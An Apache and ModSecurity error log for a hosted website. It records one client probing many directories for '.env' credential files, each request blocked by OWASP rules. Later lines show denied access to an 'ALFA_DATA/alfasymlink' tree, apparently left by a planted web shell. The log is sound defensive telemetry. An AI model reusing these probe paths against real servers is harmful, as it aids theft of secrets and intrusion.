[Sat Oct 24 06:02:33.891067 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/htdocs/.env"] [unique_id "atyCOTOT1ZsOoHahaDY-hgAAAAY"]
[Sat Oct 24 06:02:33.891425 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/htdocs/.env"] [unique_id "atyCOTOT1ZsOoHahaDY-hgAAAAY"]
[Sat Oct 24 06:02:33.981031 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /www/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/www/.env"] [unique_id "atyCOTOT1ZsOoHahaDY-hwAAAAY"]
[Sat Oct 24 06:02:33.981339 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/www/.env"] [unique_id "atyCOTOT1ZsOoHahaDY-hwAAAAY"]
[Sat Oct 24 06:02:33.981701 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/www/.env"] [unique_id "atyCOTOT1ZsOoHahaDY-hwAAAAY"]
[Sat Oct 24 06:02:34.065978 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/html/.env"] [unique_id "atyCOjOT1ZsOoHahaDY-iAAAAAY"]
[Sat Oct 24 06:02:34.066213 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/html/.env"] [unique_id "atyCOjOT1ZsOoHahaDY-iAAAAAY"]
[Sat Oct 24 06:02:34.066552 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/html/.env"] [unique_id "atyCOjOT1ZsOoHahaDY-iAAAAAY"]
[Sat Oct 24 06:02:34.158578 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /live/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/live/.env"] [unique_id "atyCOjOT1ZsOoHahaDY-iQAAAAY"]
[Sat Oct 24 06:02:34.158826 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/live/.env"] [unique_id "atyCOjOT1ZsOoHahaDY-iQAAAAY"]
[Sat Oct 24 06:02:34.159176 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/live/.env"] [unique_id "atyCOjOT1ZsOoHahaDY-iQAAAAY"]
[Sat Oct 24 06:02:34.182374 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 34.196.114.170:49387] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:02:34.247825 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prod/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/prod/.env"] [unique_id "atyCOjOT1ZsOoHahaDY-igAAAAY"]
[Sat Oct 24 06:02:34.248053 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/prod/.env"] [unique_id "atyCOjOT1ZsOoHahaDY-igAAAAY"]
[Sat Oct 24 06:02:34.248418 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/prod/.env"] [unique_id "atyCOjOT1ZsOoHahaDY-igAAAAY"]
[Sat Oct 24 06:02:34.338877 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dev/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "atyCOjOT1ZsOoHahaDY-iwAAAAY"]
[Sat Oct 24 06:02:34.339157 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "atyCOjOT1ZsOoHahaDY-iwAAAAY"]
[Sat Oct 24 06:02:34.339500 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "atyCOjOT1ZsOoHahaDY-iwAAAAY"]
[Sat Oct 24 06:02:34.431963 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /staging/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "atyCOjOT1ZsOoHahaDY-jAAAAAY"]
[Sat Oct 24 06:02:34.432204 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "atyCOjOT1ZsOoHahaDY-jAAAAAY"]
[Sat Oct 24 06:02:34.432497 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "atyCOjOT1ZsOoHahaDY-jAAAAAY"]
[Sat Oct 24 06:02:34.533674 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /opt/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/opt/.env"] [unique_id "atyCOjOT1ZsOoHahaDY-jQAAAAY"]
[Sat Oct 24 06:02:34.533927 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/opt/.env"] [unique_id "atyCOjOT1ZsOoHahaDY-jQAAAAY"]
[Sat Oct 24 06:02:34.534290 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/opt/.env"] [unique_id "atyCOjOT1ZsOoHahaDY-jQAAAAY"]
[Sat Oct 24 06:02:34.621608 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "atyCOjOT1ZsOoHahaDY-jgAAAAY"]
[Sat Oct 24 06:02:34.621899 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "atyCOjOT1ZsOoHahaDY-jgAAAAY"]
[Sat Oct 24 06:02:34.622247 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "atyCOjOT1ZsOoHahaDY-jgAAAAY"]
[Sat Oct 24 06:02:34.705530 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /symfony/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/symfony/.env"] [unique_id "atyCOjOT1ZsOoHahaDY-jwAAAAY"]
[Sat Oct 24 06:02:34.705807 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/symfony/.env"] [unique_id "atyCOjOT1ZsOoHahaDY-jwAAAAY"]
[Sat Oct 24 06:02:34.706145 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/symfony/.env"] [unique_id "atyCOjOT1ZsOoHahaDY-jwAAAAY"]
[Sat Oct 24 06:02:34.793915 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /wordpress/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/wordpress/.env"] [unique_id "atyCOjOT1ZsOoHahaDY-kAAAAAY"]
[Sat Oct 24 06:02:34.794182 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/wordpress/.env"] [unique_id "atyCOjOT1ZsOoHahaDY-kAAAAAY"]
[Sat Oct 24 06:02:34.794508 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/wordpress/.env"] [unique_id "atyCOjOT1ZsOoHahaDY-kAAAAAY"]
[Sat Oct 24 06:02:34.881116 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /wp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/wp/.env"] [unique_id "atyCOjOT1ZsOoHahaDY-kQAAAAY"]
[Sat Oct 24 06:02:34.881368 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/wp/.env"] [unique_id "atyCOjOT1ZsOoHahaDY-kQAAAAY"]
[Sat Oct 24 06:02:34.881729 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/wp/.env"] [unique_id "atyCOjOT1ZsOoHahaDY-kQAAAAY"]
[Sat Oct 24 06:02:42.199390 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 18.209.201.119:47138] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:02:46.201763 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 44.210.213.220:62445] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:02:49.196802 2026] [core:error] [pid 2608810:tid 2608810] (13)Permission denied: [client 85.208.96.197:42088] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/MPTCPv6/alloc_calls
[Sat Oct 24 06:02:54.224638 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 3.218.103.254:9779] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:02:58.208847 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 3.216.86.144:61939] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:03:02.196325 2026] [core:error] [pid 2603807:tid 2603807] (13)Permission denied: [client 52.203.65.83:39115] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/PNP0B00:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/usb1/remove
[Sat Oct 24 06:03:10.417059 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 23.23.180.225:42409] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:03:14.232112 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 44.207.252.58:2306] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:03:18.221914 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 52.3.26.180:62788] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/graphics/fb0/device/subsystem/devices/0000:00:01.2/subsystem/drivers/virtio-pci/0000:00:03.0/rescan
[Sat Oct 24 06:03:26.197228 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 3.221.156.96:19641] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:03:27.069206 2026] [core:error] [pid 2607845:tid 2607845] (13)Permission denied: [client 85.208.96.195:53800] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/cdrom/sections/__bug_table
[Sat Oct 24 06:03:38.306565 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 52.200.142.199:34732] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:03:58.155146 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 52.2.4.213:13184] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:04:02.503502 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 23.20.178.124:57266] AH02013: coalesce failed to read from data bucket
